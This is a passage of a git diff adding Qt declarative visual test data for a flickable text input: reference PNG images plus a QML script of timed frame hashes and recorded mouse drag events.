+ msec: 2880
+ image: "echoMode.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2912
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2928
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2944
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2960
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2976
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2992
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 3008
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 3024
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 3040
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 3056
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png
new file mode 100644
index 00000000..431bed84
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png
new file mode 100644
index 00000000..9708b4f3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png
new file mode 100644
index 00000000..7034946c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png
new file mode 100644
index 00000000..7c56f006
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png
new file mode 100644
index 00000000..431bed84
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png
new file mode 100644
index 00000000..30b7a081
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png
new file mode 100644
index 00000000..54e13cbf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png
new file mode 100644
index 00000000..34c099b5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml
new file mode 100644
index 00000000..de69c6af
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml
@@ -0,0 +1,3279 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickableInput.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 48
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 64
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 80
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 96
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 112
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 128
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 144
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 160
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 176
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 192
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 208
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 224
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 240
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 256
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 272
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 288
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 304
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 320
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 336
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 352
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 368
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 384
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 400
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 416
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 432
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 448
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 464
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 480
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 496
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 512
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 528
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 544
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 560
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 576
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 592
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 608
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 624
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 640
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 656
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 672
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 688
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 704
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 720
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 736
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 752
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 768
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 39; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Frame {
+ msec: 800
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Frame {
+ msec: 816
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Frame {
+ msec: 832
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 848
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 864
+ hash: "c54c442eb01186dc8d5be7ff7b242aa1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 880
+ hash: "8eb5252ed783eae4dd998ea5a451c6bb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "f80423adedb40b1c9ed88bb171590626"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "afb2d22b60113d05b038fd09b5966151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 928
+ hash: "e0a4a243acd0c4f3960ea77fdb5e30c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "24c5185a748dc4b02fdd40fd2d0420ff"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 960
+ hash: "e271a2cd9847828da3e39c1e618f828a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "flickableInput.1.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "3f40064784f716ce75ef9390d90a1eac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "77a95b3d8d4682eb8e613bd86ea7b3c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1024
+ hash: "308ea214fc63e47141623bc436df0efc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 150; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1040
+ hash: "3e0a860238ab282aebd733a92321f86f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 156; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "ed4c6a18ed003922f5724ebc8e798c6c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "ed4c6a18ed003922f5724ebc8e798c6c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 163; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1088
+ hash: "90bc837ada7b6cd08028e790b1a87ae2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "90bc837ada7b6cd08028e790b1a87ae2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 173; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1168
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1184
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1200
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1216
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1232
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1248
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1264
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1280
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1296
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1312
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1328
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1344
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1360
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1376
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 176; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1408
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1424
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1440
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1456
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1472
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1488
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1504
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1520
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1536
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1552
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1568
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1584
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1600
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1616
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1632
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1648
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1664
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1680
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1696
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1712
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1728
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1744
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1760
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1776
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1792
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1808
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1824
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1840
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1856
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1872
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1888
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1904
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1920
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1936
+ image: "flickableInput.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1968
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1984
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2000
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2016
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2032
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2048
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2064
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2080
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2096
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2112
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2128
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2144
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2160
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2176
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2192
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2208
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2224
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2240
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2256
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2272
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2288
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 17; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2304
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2320
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2336
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2352
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2368
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2384
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2400
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2416
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2432
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2448
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2464
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "541acf0d74762064d970506a40f6600b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "956939b887f2bb0d45400214685f1fac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "956939b887f2bb0d45400214685f1fac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "3eff05a088e55df16f0b30546ad8c87f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "3eff05a088e55df16f0b30546ad8c87f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2560
+ hash: "5b0488fc2a7f840f73d4fc9d17a5a738"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2576
+ hash: "e17d039213c12708ff378789705e281a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2592
+ hash: "2e2eaab559d0dd7543c2e6e17e0f7740"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2608
+ hash: "49a9baad5178009409e28618a4132544"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2624
+ hash: "49a9baad5178009409e28618a4132544"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2640
+ hash: "a867fe835626e562d5e060c0b2bc4ea3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2656
+ hash: "1479e0feffdff866bfd14cbbf76017c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2672
+ hash: "1479e0feffdff866bfd14cbbf76017c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2688
+ hash: "dfa99d1eee5ed8d2913c0e603be3ad0e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "b55abbe5e7d2c3f5cdaf6dcf5a12c00a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
